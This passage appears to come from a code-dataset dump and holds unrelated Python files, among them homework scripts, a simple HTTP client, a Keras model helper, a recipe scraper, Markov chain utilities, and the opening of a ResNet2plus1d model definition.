\n\n\navgtoppings = round(toppings_count/float(burrito_count),2)\n\n#4.65\n'''\nADVANCED LEVEL\nPART 6: Create a dictionary in which the keys represent chip orders and\n the values represent the total number of orders.\nExpected output: {'Chips and Roasted Chili-Corn Salsa': 18, ... }\nNote: Please take the 'quantity' column into account!Optional: Learn how to use 'defaultdict' to simplify your code.\n'''\nfrom collections import defaultdict\ndchips = defaultdict(int)\nfor row in data:\n if 'Chips' in row[2]:\n dchips[row[2]] += int(row[1])\n\n \n \n\n\n","sub_path":"homework3.py","file_name":"homework3.py","file_ext":"py","file_size_in_byte":2197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"138541636","text":"# -*- coding: utf-8 -*-\n#!/usr/bin/env python -v\n'''\nCreated on 2015-7-25\n\n@author: Chen Lin\n'''\n\n\nimport sys,os,nltk,codecs\nimport utils,log_text\n\ndef test_util():\n project_path = os.path.join(os.path.dirname(__file__), '..')\n logs = utils.get_logs(os.path.join(project_path,'../log_data'))\n print(logs)\n \ndef test_gen_log():\n pass\n \ndef test_crawl_proj_description():\n pass\n \ndef test_log_text_count_keywords(projects):\n fp = codecs.open(\"keywords.csv\",'w','utf-8')\n lines = 'project'\n for word in log_text.key_word_in_commit:\n lines += ',' + word\n lines += '\\n'\n for project in projects:\n print(\"parsing project: \" + project + \"\\n\")\n statistics = log_text.get_commit_statistics(project)\n lines += project\n for word in log_text.key_word_in_commit:\n lines += ',' + str(statistics['keywords'][word])\n lines += '\\n'\n fp.write(lines)\n fp.close()\n \ndef test_log_text_statistics(projects):\n fp = codecs.open(\"statistics.csv\",'w','utf-8')\n lines = 'project'\n statistics = log_text.get_commit_statistics(projects[0])\n for tag in statistics['metaTag']:\n lines += ',' + tag\n lines += '\\n'\n print(lines)\n for project in projects:\n print(\"parsing project: \" + project + \"\\n\")\n statistics = log_text.get_commit_statistics(project)\n lines += project \n for tag in statistics['metaTag']:\n if tag=='authors':\n lines += ',' + str(len(statistics[tag]))\n else: \n #print(statistics[tag])\n lines += ',' + str(statistics[tag])\n lines += '\\n'\n fp.write(lines)\n fp.close()\n\ndef test_log_text_tag_commit_by_buildin_exception(projects):\n fp = codecs.open(\"error_statistics.csv\",'w','utf-8')\n lines = 'project'\n statistics = log_text.get_commit_statistics(projects[0])\n for tag in statistics['ErrorCategory']:\n lines += ',' + tag\n lines += '\\n'\n print(lines)\n for project in projects:\n print(\"parsing project: \" + project + \"\\n\")\n statistics = log_text.get_commit_statistics(project)\n lines += project \n for tag in statistics['ErrorCategory']:\n lines += ',' + str(len(statistics[tag]))\n lines += '\\n'\n fp.write(lines)\n fp.close() \n\n \ndef test_gen_versions_script():\n src_path = 'F:/benchmark/Git/python/bottle'\n workpath = 'F:/workspace/pyproject/test_data/bottle'\n utils.gen_versions_script('F:/workspace/pyproject/workdir/classfied_errors/bottle_classified_errors.csv',src_path,workpath)\n \n#projects = [\"bottle\", \"scipy\", \"numpy\", \"Gooey\", \"ansible\", \"scrapy\", \"pandas\",\"sqlmap\",\"nltk\",\"matplotlib\"]\n#projects = [\"sublime-text-git\"]\n#projects = [\"bottle\"]\n#projects = utils.get_project_names('F:/benchmark/Git/python')\n#test_log_text_count_keywords(projects)\n#test_log_text_statistics(projects)\n#test_log_text_tag_commit_by_buildin_exception(projects) \ntest_gen_versions_script()","sub_path":"pscrtips/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3005,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"294409469","text":"#!/usr/bin/env python3\n\nimport socket\nimport sys\n\nPORT = 80\n\ndef get(site):\n with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n s.connect((site, PORT))\n request = f'GET / HTTP/1.1\\r\\nHost: {site}\\r\\n\\r\\n'\n s.send(bytes(request, 'ascii'))\n data = s.recv(4096)\n return data.decode('ascii').split('\\r\\n\\r\\n')[1]\n\nif __name__ == '__main__':\n if len(sys.argv) != 2:\n print(f'Uso: {sys.argv[0]} example.com')\n else:\n print(get(sys.argv[1]))\n","sub_path":"old-content/07-sysadmin/browser.py","file_name":"browser.py","file_ext":"py","file_size_in_byte":504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"637448626","text":"from django.conf.urls import patterns, url\n\nfrom .views import LeafletListView, LeafletCompetitionListView\n\nurlpatterns = patterns('',\n url(r'^$', LeafletListView.as_view(), name=\"leaflets_leaflet_list\"),\n url(r'^competitions/(?P\\d+)/$',\n LeafletCompetitionListView.as_view(),\n name=\"leaflets_leaflet_competition_list\"),\n )\n","sub_path":"leaflets/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":363,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"508672050","text":"import os\nimport cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nimport tensorflow as tf\nphysical_devices = tf.config.experimental.list_physical_devices('GPU')\ntf.config.experimental.set_memory_growth(physical_devices[0], True)\n\nfrom tensorflow.keras.preprocessing.image import ImageDataGenerator\nfrom tensorflow.keras.applications.resnet50 import preprocess_input as resnet_preprocess\n\n\nclass Helper:\n \"\"\" Provides helper functions for the ResNet VTC model.\n \"\"\"\n\n def __init__(self):\n pass\n\n\n def plot_loss_acc(self, MODEL_NAME):\n \"\"\" Plot model loss and accuracy graphs.\n\n Args:\n MODEL_NAME (str): The name of the model to show plots for.\n \"\"\"\n\n with open(f\"saved_models/{MODEL_NAME}.npy\", \"rb\") as file:\n history = np.load(file)\n\n plt.figure(figsize=(15, 5))\n plt.subplot(1, 2, 1)\n plt.plot(history[0])\n plt.plot(history[2])\n plt.legend([\"training\", \"validation\"])\n plt.xlabel(\"Epoch\")\n plt.ylabel(\"Loss\")\n plt.title(\"Loss plot\")\n\n plt.subplot(1, 2, 2)\n plt.plot(history[1])\n plt.plot(history[3])\n plt.legend([\"training\", \"validation\"])\n plt.xlabel(\"Epoch\")\n plt.ylabel(\"Accuracy\")\n plt.title(\"Accuracy plot\")\n\n \n def get_resnet_gens(self,\n train_data_dir,\n val_data_dir,\n test_data_dir,\n target_size=(224, 224),\n batch_size=32,\n data_aug=False,\n rotation=10,\n width_shift=0.2,\n height_shift=0.2,\n brightness=(0.2, 1.4),\n shear=0.2,\n zoom=0.3,\n hori_flip=True):\n\n \"\"\" Get the train, val, and test tf image data generators.\n\n Args:\n train_data_dir ([type]): Where the training samples are located.\n val_data_dir ([type]): Where the validation samples are located.\n test_data_dir ([type]): Where the testing samples are located.\n target_size (tuple, optional): Model image size. Defaults to (224, 224).\n batch_size (int, optional): The batch size. Defaults to 32.\n data_aug (bool, optional): Whether to use data augmenation (DA) or not. Defaults to False.\n rotation (int, optional): Rotation angle for the DA. Defaults to 10.\n width_shift (float, optional): Width shift for the DA. Defaults to 0.2.\n height_shift (float, optional): Height shift for the DA. Defaults to 0.2.\n brightness (tuple, optional): Brightness lower and upper limits for the DA. Defaults to (0.2, 1.4).\n shear (float, optional): Shear for the DA. Defaults to 0.2.\n zoom (float, optional): Zoom for the DA. Defaults to 0.3.\n hori_flip (bool, optional): Whether to apply horizontal flip in the DA. Defaults to True.\n\n Returns:\n tuple: All three image data generators for the trian, val, and test sets.\n \"\"\"\n\n if data_aug:\n train_datagen = ImageDataGenerator(\n preprocessing_function=resnet_preprocess,\n rotation_range=rotation,\n width_shift_range=width_shift,\n height_shift_range=height_shift,\n brightness_range=brightness,\n shear_range=shear,\n zoom_range=zoom,\n horizontal_flip=hori_flip\n )\n\n else:\n train_datagen = ImageDataGenerator(\n preprocessing_function=resnet_preprocess,\n )\n\n val_test_datagen = ImageDataGenerator(\n preprocessing_function=resnet_preprocess,\n )\n\n train_gen = train_datagen.flow_from_directory(\n train_data_dir,\n target_size=target_size,\n batch_size=batch_size,\n class_mode=\"categorical\")\n\n val_gen = val_test_datagen.flow_from_directory(\n val_data_dir,\n target_size=target_size,\n batch_size=batch_size,\n class_mode=\"categorical\")\n\n test_gen = val_test_datagen.flow_from_directory(\n test_data_dir,\n target_size=target_size,\n batch_size=1,\n class_mode=\"categorical\")\n \n return train_gen, val_gen, test_gen\n\n\n def evaluate_model(self, data_dir, model_name):\n \"\"\" Get the training, validation and testing accuracy and loss metrics with the plots.\n\n Args:\n data_dir (str): The root of the split dataset directory.\n model_name (str): The model name to evaluate.\n \"\"\"\n\n train_data_dir = f\"{data_dir}/train\"\n val_data_dir = f\"{data_dir}/val\"\n test_data_dir = f\"{data_dir}/test\"\n\n train_gen, val_gen, test_gen = self.get_resnet_gens(train_data_dir, val_data_dir, test_data_dir, batch_size=1)\n\n self.plot_loss_acc(model_name)\n\n\n model = tf.keras.models.load_model(f\"saved_models/{model_name}.h5\")\n\n print(\"\\nTraining evaluation:\")\n model.evaluate(train_gen)\n\n print(\"\\nValidation evaluation:\")\n model.evaluate(val_gen)\n\n print(\"\\nTesting evaluation:\")\n model.evaluate(test_gen)\n\n\n def get_wrong_samples(self, all_data_dir, model_name):\n \"\"\" Get the miss-classified images.\n\n Args:\n all_data_dir (str): The root dataset directory.\n model_name (str): The model name.\n \"\"\"\n \n classes = sorted(os.listdir(all_data_dir))\n print(\"Classes:\", classes)\n\n model = tf.keras.models.load_model(f\"saved_models/{model_name}.h5\")\n model_w, model_h = model.input.shape[1], model.input.shape[2]\n\n miss_class_imgs = [] # Will hold all the miss-classified images.\n\n for i, class_name in enumerate(classes):\n print(f\"\\nFor the ({class_name}) class:\")\n\n img_names = os.listdir(f\"{all_data_dir}/{class_name}\")\n\n for j, img_name in enumerate(img_names):\n full_img_path = f\"{all_data_dir}/{class_name}/{img_name}\"\n\n img = plt.imread(full_img_path)\n img = cv2.resize(img, (model_w, model_h))\n img = np.array(img).reshape((1, model_w, model_h, 3))\n proc_img = resnet_preprocess(img)\n\n pred = list(model.predict(proc_img)[0])\n\n class_index = pred.index(max(pred))\n\n if class_index != i:\n print(i, j, \"Miss classification:\", class_name, img_name)\n miss_class_imgs.append(img)\n\n if j % 100 == 0 and j != 0:\n print(j, \"samples done\")\n\n # Plot the miss-classified samples.\n for miss_img in miss_class_imgs:\n plt.figure()\n plt.imshow(miss_img[0])\n","sub_path":"vtc/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":6946,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"570930638","text":"'''\nYour function should take in a single parameter (a string `word`)\nYour function should return a count of how many occurences of ***\"th\"*** occur within `word`. Case matters.\nYour function must utilize recursion. It cannot contain any loops.\n'''\ndef count_th(word):\n # base case: word is \"\"\n if word == \"\":\n return 0\n \n # recursive case:\n # look at last two letters of word\n last_two_letters = word[-2:]\n # if they equal th (lower case), return 1 + count_th(word[:-2])\n if last_two_letters == \"th\":\n return 1 + count_th(word[:-2])\n # if they don't, return count_th(word([:-1]))\n else:\n return count_th(word[:-1])\n\n \n","sub_path":"recursive_count_th/count_th.py","file_name":"count_th.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"198744039","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Mar 7 00:39:52 2019\n\n@author: harper\n\"\"\"\n\nfrom ingredients import load_ingredients, make_ingredient, new_ingredient, rationalize_details\nfrom directions import load_directions, make_direction, new_direction\nfrom categorize import categorize_ingredient\n\nfrom bs4 import BeautifulSoup\nimport requests\nimport spacy\nimport collections\nfrom spacy.lang.en import English\nimport en_core_web_sm\n\ncommon_words = ['the', 'of', 'and', 'for', 'by', 'or', 'that', 'but', 'then',\n 'than', 'to', 'them', 'it', 'into', ',', '.', '-', \"'\", '\"',\n ')', '(', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', 'all',\n 'stew', 'cubes', 'cube', 'roast', 'bouillon', 'can', 'bottle',\n 'in', 'our', 'your']\n\nclass Recipe():\n def __init__(self, url):\n self.title = ''\n self.servings = 0\n self.ingredients = []\n self.replaced = []\n self.main_cook = ''\n self.primary = ''\n self.meal = ''\n self.tool_list = []\n self.directions = []\n self.transformations = []\n\n if url != '':\n # load the html from All Recipes\n html = load_recipe(url)\n # obtain recipe title\n self.title = get_title(html)\n # obtain recipe serving size\n self.servings = get_servings(html)\n # print(recipe.servings)\n # load ingrediets\n ingredients = load_ingredients(html)\n for item in ingredients:\n # instatiate each ingredient as ingredient object\n ingredient = make_ingredient(item)\n if ingredient:\n # print(ingredient.name)\n # NEED TO DEFINE CATEGORIZE INGREDIENT\n ingredient = categorize_ingredient(ingredient)\n # print(ingredient.type)\n # add ingredient to recipe\n self.ingredients.append(ingredient)\n # load directions\n directions = load_directions(html)\n # build list of ingredient names to aid in parsing directions\n names = [ingredient.name for ingredient in self.ingredients]\n for step in directions:\n # instantiate each direction as direction object\n direction = make_direction(step, names)\n if direction:\n # add direction to self\n self.directions.append(direction)\n self.make_main_cook()\n self.make_tool_list()\n\n\n\n def print_recipe(self):\n if self.transformations:\n title = self.transformations[0]\n max_index = len(self.transformations) - 1\n if max_index > 0:\n for i in range(1, len(self.transformations)):\n title += ', ' + self.transformations[i]\n title += ' ' + self.title\n print(title)\n else:\n print(self.title)\n print(\"Serves \" + str(self.servings))\n print('------------------------------------')\n print(\"INGREDIENTS:\")\n # print_ingredients(recipe.ingredients)\n for ingredient in self.ingredients:\n if ingredient.unit.strip() in ['cup','teaspoon','tablespoon','ounce','pound','clove', 'stalk', 'pinch', 'pack', '(15 ounce) cans']:\n output = \" \" + str(ingredient.quantity).strip() + ' ' + ingredient.unit.strip()\n else:\n if ingredient.unit == 'discrete':\n output = \" \" + str(ingredient.quantity).strip()\n else:\n output = \" \" + str(ingredient.quantity).strip() + ' ' + ingredient.name.strip()\n if ingredient.descriptors:\n output += ' ' + ingredient.descriptors[0].strip()\n max_index = len(ingredient.descriptors) - 1\n if max_index > 0:\n output += ','\n for i in range(1, len(ingredient.descriptors)):\n output += ' ' + ingredient.descriptors[i].strip()\n if i < max_index:\n output += ','\n if ingredient.name not in output:\n output += ' ' + ingredient.name.strip()\n if ingredient.preprocessing:\n output += ','\n max_index = len(ingredient.preprocessing) - 1\n for step in ingredient.preprocessing:\n i = ingredient.preprocessing.index(step)\n output += ' ' + step.strip()\n if i < max_index:\n output += ' and'\n print(output)\n output = ''\n print(\"\\n\")\n print(\"DIRECTIONS:\")\n step_no = 1\n for direction in self.directions:\n print(\" \" + str(step_no) + \"] \" + direction.text)\n step_no += 1\n print('------------------------------------')\n print(\"And here is our representation, partly:\")\n print(\"Primary cooking method: \" + str(self.main_cook))\n self.print_ingredients()\n\n\n def print_ingredients(self):\n for ingredient in self.ingredients:\n print('Name:' + ingredient.name)\n print('Quantity:' + str(ingredient.quantity))\n print('Unit: ' + ingredient.unit)\n print('Descriptors: ' + str(ingredient.descriptors))\n print('Preprocessing: ' + str(ingredient.preprocessing))\n\n def check_duplicates(self, old, potential_duplicate):\n sure_dup = None\n for ingredient in self.ingredients:\n if ingredient.name == potential_duplicate.name:\n sure_dup = ingredient\n if sure_dup:\n for ingredient in self.replaced:\n if ingredient.name == old.name:\n return None\n return sure_dup\n else:\n return None\n\n def swap(self, old, new):\n indx = self.ingredients.index(old)\n self.ingredients.pop(indx)\n self.ingredients.insert(indx, new)\n self.replaced.append(old)\n\n def identify_words_for_replacement(self, old, new):\n uniques = []\n if ' ' in old.name:\n old_words = old.name.split(' ')\n else:\n old_words = old.name\n if ' ' in new.name:\n new_words = new.name.split(' ')\n else:\n new_words = new.name\n if isinstance(old_words, list):\n for word in old_words:\n if word not in new_words:\n uniques.append(word)\n else:\n if old_words not in new_words:\n uniques.append(old_words)\n old.specified = uniques\n \n def revert_to_old(self, devolve):\n # FOR UNDOING A TRANSFORMATION\n sub = new_ingredient(devolve.old.name, devolve.old.quantity, devolve.old.unit, devolve.old.preprocessing, devolve.old.descriptors)\n sub.type = devolve.old.type\n sub.old = devolve\n devolve.new = sub\n self.identify_words_for_replacement(devolve, sub)\n self.swap(devolve, sub)\n\n def replace_ingredient(self, old, new_name, old_name=None, deflag=None):\n # IF NOT OLD_NAME, IT'S A NEW INGREDIENT\n if not old_name:\n sub = new_ingredient(new_name, old.quantity, old.unit, old.preprocessing, old.descriptors)\n sub = categorize_ingredient(sub)\n sub.old = old\n old.new = sub\n sub = rationalize_details(sub, self.servings)\n # ASSUME THE INGREDIENT IN THIS CASE IS ALL BUT IDENTICAL - E.G., VEGETABLE BROTH FOR BEEF BROTH\n else:\n updated = old.name.replace(old_name, new_name)\n sub = new_ingredient(updated, old.quantity, old.unit, old.preprocessing, old.descriptors)\n sub.type = old.type\n sub.flags = [flag for flag in old.flags if flag not in deflag]\n sub.old = old\n old.new = sub\n self.identify_words_for_replacement(old, sub)\n check = self.check_duplicates(old, sub)\n if check:\n # NEED TO MAKE FUNCTION\n check.more(sub)\n else:\n self.swap(old, sub)\n\n def add_ingredient(self, name):\n new = new_ingredient(name)\n new = categorize_ingredient(new)\n if 'powder' in new.name:\n new.type = 'seasoning'\n if 'avocado' in new.name:\n new.type = 'vegetable'\n self.set_quantity(new)\n if 'bacon' in new.name:\n new.type = 'seasoning'\n self.ingredients.append(new)\n self.add_to_directions(new)\n #similars = self.find_similar(new)\n\n def set_quantity(self, ingredient):\n if 'tamari' in ingredient.name:\n ingredient.type = 'seasoning'\n ingredient.quantity = float(int(self.servings) / 2)\n ingredient.unit = 'teaspoon'\n elif 'seasoning' in ingredient.type:\n ingredient.quantity = float(int(int(self.servings) / 3))\n ingredient.unit = 'teaspoon'\n elif 'bean' in ingredient.name:\n ingredient.quantity = float(int(self.servings) / 4)\n ingredient.unit = '(15 ounce) cans'\n ingredient.preprocessing = ['drained', 'rinsed']\n elif 'lentil' in ingredient.name:\n ingredient.quantity = float(int(self.servings) / 4)\n ingredient.unit = 'cup'\n ingredient.descriptors = ['dry']\n ingredient.preprocessing = ['soaked overnight']\n elif 'avocado' in ingredient.name:\n ingredient.quantity = float(int(self.servings) / 2)\n ingredient.unit = 'discrete'\n ingredient.descriptors = ['fresh']\n ingredient.preprocessing = ['peeled', 'pitted', 'diced']\n elif 'spinach' in ingredient.name:\n ingredient.quantity = float(int(self.servings)) * 2\n ingredient.unit = 'ounce'\n ingredient.descriptors = ['fresh']\n ingredient.preprocessing = ['rinsed', 'dried', 'torn into bite-size pieces']\n ingredient.type = 'vegetable'\n elif ingredient.type == 'vegetable':\n ingredient.quantity = float(int(self.servings) / 4)\n ingredient.unit = 'cup'\n ingredient.descriptors = ['fresh']\n if 'kimchi' not in ingredient.name:\n ingredient.preprocessing = ['washed', 'diced']\n elif ingredient.type == 'cigarette':\n ingredient.name = 'Marlboro Reds'\n ingredient.quantity = 1\n ingredient.unit = 'pack'\n elif 'bacon' in ingredient.name:\n ingredient.quantity = float(int(self.servings) / 4)\n ingredient.unit = 'pound'\n ingredient.preprocessing = ['cooked ', 'broken into crumbles']\n \n\n def add_to_directions(self, ingredient):\n tag = ingredient.type\n if tag == 'cigarette':\n new_dir = new_direction(text=\"Open the Marlboros and smoke the entire pack.\", i=ingredient)\n self.directions.append(new_dir)\n else:\n names = [i.name for i in self.ingredients if i.type == tag]\n names.remove(ingredient.name)\n if not names:\n if tag != 'seasoning' and tag != 'base':\n phrase = \"Serve the \" + ingredient.name + \" on the side.\"\n new_dir = new_direction(text=phrase, i=ingredient)\n self.directions.append(new_dir)\n else:\n self.ingredients.remove(ingredient)\n elif names:\n for direction in self.directions:\n if any(name in direction.text for name in names):\n for name in names:\n if name in direction.text:\n direction.text = direction.text.replace(name, ingredient.name + ' and ' + name)\n break\n\n def replace_directions(self):\n if self.replaced:\n #names = [ingredient.name for ingredient in self.replaced]\n for direction in self.directions:\n for ingredient in self.replaced:\n for word in ingredient.specified:\n if word in direction.text and word not in common_words:\n direction.text = direction.text.replace(word, ingredient.new.name)\n\n def make_main_cook(self):\n cook_verbs = ['bake','shir','boil','fried','saut','grill','roast','baste','blanch','poach','scald','simmer','steam','stew','temper','caramelize']\n\n #want to find the a match in title and cook verbs\n for i in cook_verbs:\n if self.title.lower().find(i) != -1:\n self.main_cook = i # IS THIS RIGHT?\n return i\n\n maxDuration = 0\n cookAction = 'unknown'\n subj_time = .001\n for direction in self.directions:\n if direction.actions:\n if direction.duration:\n newDuration = toMinute(direction.duration,direction.time_unit)\n else:\n newDuration = subj_time\n subj_time = subj_time + .001\n if newDuration > maxDuration:\n for action in direction.actions:\n if action.lower() in cook_verbs:\n cookAction = action.lower()\n maxDuration = newDuration\n self.main_cook = cookAction\n return\n\n def make_tool_list(self):\n tools = set()\n for direction in self.directions:\n if direction.device != '':\n tools.add(direction.device)\n self.tool_list = list(tools)\n return\n\ndef toMinute(q,u):\n if u.lower()[0:6]=='minute':\n return q[1]\n elif u.lower()[0:4]=='hour':\n return q[1] * 60\n elif u.lower()[0:6]=='second':\n return q[1] / 60\n return 0\n\n\ndef load_recipe(url):\n resp = requests.get(url)\n soup = BeautifulSoup(resp.text, \"lxml\")\n return soup\n\ndef get_title(soup):\n results = soup.find_all('title')\n for i in results:\n if len(i.contents) > 0:\n title = i.contents[0]\n title = title.split(\" Recipe\")\n return title[0]\n\ndef get_servings(soup):\n results = soup.find('meta', id=\"metaRecipeServings\")\n servings = results.get(\"content\", '')\n return servings\n","sub_path":"builld_recipe.py","file_name":"builld_recipe.py","file_ext":"py","file_size_in_byte":14400,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"264186465","text":"import intro #Use to style and to introduce about the developer of the program\r\n\r\n\r\nx=int(input(\"Enter How Many Lines you wanna to Print: \"))\r\ny=input(\"Enter the Symbol: \")\r\nfor i in range (1,x+1):\r\n print(y*i)\r\n if i>2:\r\n print(\"\\n\")\r\n\r\n\r\nimport end #Use to give style while ending the program\r\n","sub_path":"ex-5/35.py","file_name":"35.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"238212043","text":"# these are Markov chain tools\n# note that this version does not utilize grid_combined class\nimport numpy as np\nfrom numba import jit\nfrom scipy.stats import norm\n\ndef mc_simulate(statein,Piin,shocks=None):\n # this simulates transition one period ahead for a Markov chain\n import numpy as np\n assert(np.max(statein) < Piin.shape[0] )\n assert statein.ndim == 1\n n_in = statein.size\n Picum = np.cumsum(Piin,axis=1)\n Pi_state = Picum[statein,:]\n \n assert np.all( np.abs(1 - Picum[:,-1]) < 1e-5) \n \n #print(Pi_state)\n \n if shocks is None:\n rand = np.random.rand(n_in)[:,np.newaxis]\n else:\n rand = shocks[:,np.newaxis]\n \n rand_state = rand.repeat(Piin.shape[1],axis=1)\n stateout = np.zeros_like(statein)\n stateout[:] = np.sum((rand_state >= Pi_state),axis=1).squeeze() # note that numeration starts with 0\n assert(np.max(stateout) < Piin.shape[1])\n assert stateout.shape == statein.shape\n \n return stateout \n\n# yet another \n \ndef mc_init_normal(sigma,X,N=1000,shocks=None):\n # this generates N draws from N(0,sigma^2)\n # then it looks at points at X that are the closest to \n # these draws points and for each draw it returns its index\n import numpy as np\n if shocks is None:\n ran = sigma*np.random.normal(np.zeros(N))\n else:\n ran = sigma*shocks\n \n #X = x.reshape([x.size,1]).repeat(y.size,axis=1)\n #Y = y.reshape([1,y.size]).repeat(x.size,axis=0)\n \n \n return abs(ran[:,np.newaxis]-X).argmin(axis=1)\n\n \n\ndef trim_matrix(M,level=0.001):\n # this eliminates transition probabilities that are lower than level, \n # renormalizing remaining probabilities to add up to one\n \n if isinstance(M,list):\n Mout = list()\n for m in M:\n Mout = Mout + [trim_one_matrix(m,level)]\n else:\n Mout = trim_one_matrix(M,level)\n \n return Mout\n\n#@jit\ndef trim_one_matrix(M,level=0.001):\n \n Mout = M\n Mout[np.where(M0:\n MM[a][a]=0.0\n \n #Fill the zeros\n for a in range(dim):\n for b in range(dim):\n if b>a:\n MM[a][b]=0.0\n \n #Rescale the non-zero entries\n for a in range(dim):\n \n MM[a]=np.array(MM[a])/sum(MM[a])\n \n return MM\n \n \ndef combine_matrices(a,b,Pia,Pib,check=True,trim=True,trim_level=0.00001):\n # this combines INDEPENDENT transition matrices Pia and Pib\n grid = mat_combine(a,b)\n \n Pi = np.kron(Pia,Pib) if ((Pia is not None) and (Pib is not None)) else None\n \n if Pi is not None:\n if check:\n assert(all(abs(np.sum(Pi,axis=1)-1)<1e-5))\n \n if trim:\n Pi = trim_matrix(Pi,trim_level)\n \n return grid, Pi\n \n#@jit\ndef combine_matrices_list(alist,b,Pialist,Pib,check=True,trim=True,trim_level=0.00001):\n # this combines each element of Pialist and Pib\n # they assumed to be independent (i.e. Pialist and Pib can be combined in any order)\n grid, Pi = (list(), list())\n \n \n for i in range(0,len(Pialist)):\n gr_a, Pi_a = combine_matrices(alist[i],b,Pialist[i],Pib,check,trim,trim_level)\n grid = grid + [gr_a]\n Pi = Pi + [Pi_a]\n \n if len(alist) > len(Pialist): # fix in case alist has one more element\n grid = grid + [mat_combine(alist[-1],b)]\n \n return grid, Pi\n\n\n#@jit\ndef combine_matrices_two_lists(alist,blist,Pialist,Piblist,check=True,trim=True,trim_level=0.00001):\n # this combines each element of Pialist and Pib\n # they assumed to be independent (i.e. Pialist and Pib can be combined in any order)\n grid, Pi = (list(), list())\n \n assert len(alist) == len(blist)\n \n \n for i in range(0,len(Pialist)):\n gr_a, Pi_a = combine_matrices(alist[i],blist[i],Pialist[i],Piblist[i],check,trim,trim_level)\n grid = grid + [gr_a]\n Pi = Pi + [Pi_a]\n \n if len(alist) > len(Pialist): # fix in case alist has one more element\n grid = grid + [mat_combine(alist[-1],blist[-1])]\n \n return grid, Pi\n \ndef combine_matrices_dependent(a,Pialist,b,Pib):\n # this assumes that there is unique transition matrix of a\n # corresponding to each value of b (so alist[j] is conditional transition\n # matrix of a given b = b[j])\n \n assert len(Pialist) == b.size, \"Values in list should correspond to values in b\"\n \n grid = mat_combine(b,a) # note the order\n \n n_a = a.size\n n_b = b.size\n \n n_ab = a.size*b.size\n \n \n Pi = np.zeros((n_ab,n_ab))\n \n for jb_from in range(n_b):\n for jb_to in range(n_b):\n Pi[jb_from*n_a:(jb_from+1)*n_a, jb_to*n_a:(jb_to+1)*n_a] = Pib[jb_from,jb_to]*Pialist[jb_from]\n \n \n assert(all(abs(np.sum(Pi,axis=1)-1)<1e-5))\n \n return grid, Pi\n \n\n\n\ndef mat_combine(a,b):\n # this gets combinations of elements of a and b\n \n a = a[:,np.newaxis] if a.ndim == 1 else a\n b = b[:,np.newaxis] if b.ndim == 1 else b\n \n assert a.ndim==2 and b.ndim==2\n \n l_a = a.shape[0]\n l_b = b.shape[0]\n \n w_a = a.shape[1]\n w_b = b.shape[1]\n \n grid = np.empty((l_a*l_b, w_a+w_b))\n \n for ia in range(l_a):\n grid[ia*l_b:(ia+1)*l_b,0:w_a] = a[ia,:] # this is broadcasting\n grid[ia*l_b:(ia+1)*l_b,w_a:(w_a+w_b)] = b\n \n \n return grid\n \ndef vec_combine(a,b):\n a_rep = a[:,np.newaxis].repeat(b.size,axis=1)\n b_rep = b[np.newaxis,:].repeat(a.size,axis=0) \n grid = np.concatenate((a_rep.flatten()[:,np.newaxis],b_rep.flatten()[:,np.newaxis]),axis=1)\n return grid\n\n\n\ndef ind_combine(ia,ib,na,nb):\n return ia*nb + ib\n \n\ndef ind_combine_3(ia,ib,ic,na,nb,nc):\n return ia*nb*nc + ib*nc + ic\n \ndef ind_combine_m(ilist,nlist):\n out = 0\n for (pos,ind) in enumerate(ilist):\n out = np.int32( out + ind*np.prod(nlist[pos+1:]) ) \n return out\n \n \n\n\ndef int_prob_standard(vec,trim=True,trim_level=0.001,n_points=None):\n # given ordered vector vec [x_0,...,x_{n-1}] this returns probabilities\n # [p0,...,p_{n-1}] such that p_i = P[d(Z,x_i) is minimal among i], where\n # Z is standard normal ranodm variable\n \n try:\n assert np.all(np.diff(vec)>0), \"vec must be ordered and increasing!\"\n except:\n print(vec)\n assert False\n \n vm = np.concatenate( ([-np.inf],vec[:-1]) )\n vp = np.concatenate( (vec[1:],[np.inf]) )\n v_up = 0.5*(vec + vp)\n v_down = 0.5*(vec+vm)\n assert np.all(v_up>v_down)\n \n p = norm.cdf(v_up) - norm.cdf(v_down)\n \n \n \n if n_points is not None:\n trim = False # npoints overrides trim\n i_keep = ((-p).argsort())[0:n_points]\n pold = p.copy()\n p = np.zeros(p.shape)\n p[i_keep] = pold[i_keep]\n assert np.any(p>0)\n p = p / np.sum(p)\n \n if trim:\n p[np.where(p guess:\n # 答えが予想より大きい場合\n print(\"もっとでかいぜ\")\n else:\n print(\"もっと小さいぜ\")\n\n","sub_path":"python.py","file_name":"python.py","file_ext":"py","file_size_in_byte":777,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"540501948","text":"# Copyright (c) 2022 Kensho Hara.\n# Copyright 2021-2022 The Alibaba Fundamental Vision Team Authors. All rights reserved.\n\n# The implementation here is modified based on 3D-ResNets-PyTorch,\n# originally MIT License, Copyright (c) 2022 Kensho Hara,\n# and publicly available at https://github.com/kenshohara/3D-ResNets-PyTorch/blob/master/models/resnet2p1d.py\n\"\"\" ResNet2plus1d Model Architecture.\"\"\"\n\nimport torch\nimport torch.nn as nn\n\n\ndef conv1x3x3(in_planes, out_planes, stride=1, groups=1, dilation=1):\n return nn.Conv3d(\n in_planes,\n out_planes,\n kernel_size=(1, 3, 3),\n stride=(1, stride, stride),\n padding=(0, dilation, dilation),\n groups=groups,\n bias=False,\n dilation=(1, dilation, dilation))\n\n\ndef 